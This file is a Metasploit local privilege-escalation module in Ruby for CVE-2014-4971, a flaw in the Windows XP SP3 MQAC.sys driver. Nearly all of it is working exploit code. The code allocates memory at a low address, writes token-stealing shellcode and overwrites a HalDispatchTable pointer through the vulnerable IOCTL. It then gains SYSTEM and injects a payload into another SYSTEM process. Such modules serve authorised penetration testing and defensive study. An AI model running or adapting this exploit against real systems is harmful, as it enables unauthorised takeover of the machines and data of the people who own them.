## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info = {}) super(update_info(info, 'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation', 'Description' => %q( A vulnerability within the MQAC.sys module allows an attacker to overwrite an arbitrary location in kernel memory. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process. ), 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin', # original exploit and all the hard work 'Spencer McIntyre' # MSF module ], 'Arch' => [ARCH_X86], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ ['CVE', '2014-4971'], ['EDB', '34112'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt'] ], 'DisclosureDate' => 'Jul 22 2014', 'DefaultTarget' => 0 )) end # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language local_sys = resolve_sid('S-1-5-18') system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}" this_pid = session.sys.process.getpid # Processes that can Blue Screen a host if migrated in to dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe'] session.sys.process.processes.each do |p| # Check we are not migrating to a process that can BSOD the host next if dangerous_processes.include?(p['name']) next if p['pid'] == this_pid next if p['pid'] == 4 next if p['user'] != system_account_name return p end end def check handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? print_error('MSMQ installation not found') return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo['OS'] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears when /windows xp/i vprint_error('Unsupported version of Windows XP detected') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit if sysinfo['Architecture'] =~ /wow64/i print_error('Running against WOW64 is not supported') return elsif sysinfo['Architecture'] =~ /x64/ print_error('Running against 64-bit systems is not supported') return end if is_system? print_error('This meterpreter session is already running as SYSTEM') return end # Running on Windows XP versions that aren't listed in the supported list # results in a BSOD and so we should not let that happen. return unless check == Exploit::CheckCode::Appears base_addr = 0xffff handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return if handle.nil? this_proc = session.sys.process.open unless this_proc.memory.writable?(base_addr) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil, [0xffff].pack('V'), 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') end unless this_proc.memory.writable?(base_addr) print_error('Failed to properly allocate memory') this_proc.close return end haldispatchtable = find_haldispatchtable return if haldispatchtable.nil? print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}") vprint_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? hal_base = hal_info[0] vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) this_proc.memory.write(0x1, shellcode) this_proc.close print_status('Triggering vulnerable IOCTL') session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, haldispatchtable + 4, 0) session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) unless is_system? print_error('Did not get system, exploit failed') return end proc = get_system_proc print_status("Injecting the payload into SYSTEM process: #{proc['name']}") unless execute_shellcode(payload.encoded, nil, proc['pid']) fail_with(Failure::Unknown, 'Error while executing the payload') end end end